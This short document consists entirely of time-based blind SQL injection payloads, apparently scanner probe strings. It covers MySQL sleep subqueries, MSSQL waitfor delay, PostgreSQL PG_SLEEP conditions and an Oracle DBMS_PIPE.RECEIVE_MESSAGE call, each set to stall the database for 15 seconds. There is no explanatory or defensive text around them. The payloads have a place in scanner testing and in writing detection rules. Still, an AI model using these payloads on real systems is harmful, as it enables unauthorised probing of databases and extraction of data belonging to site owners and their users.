(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --

1eh1uifu'; waitfor delay '0:0:15' --

tT2MgduN' OR 210=(SELECT 210 FROM PG_SLEEP(15))--

252XqQuY') OR 869=(SELECT 869 FROM PG_SLEEP(15))--

yAZjBu0n')) OR 518=(SELECT 518 FROM PG_SLEEP(15))--

 '||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

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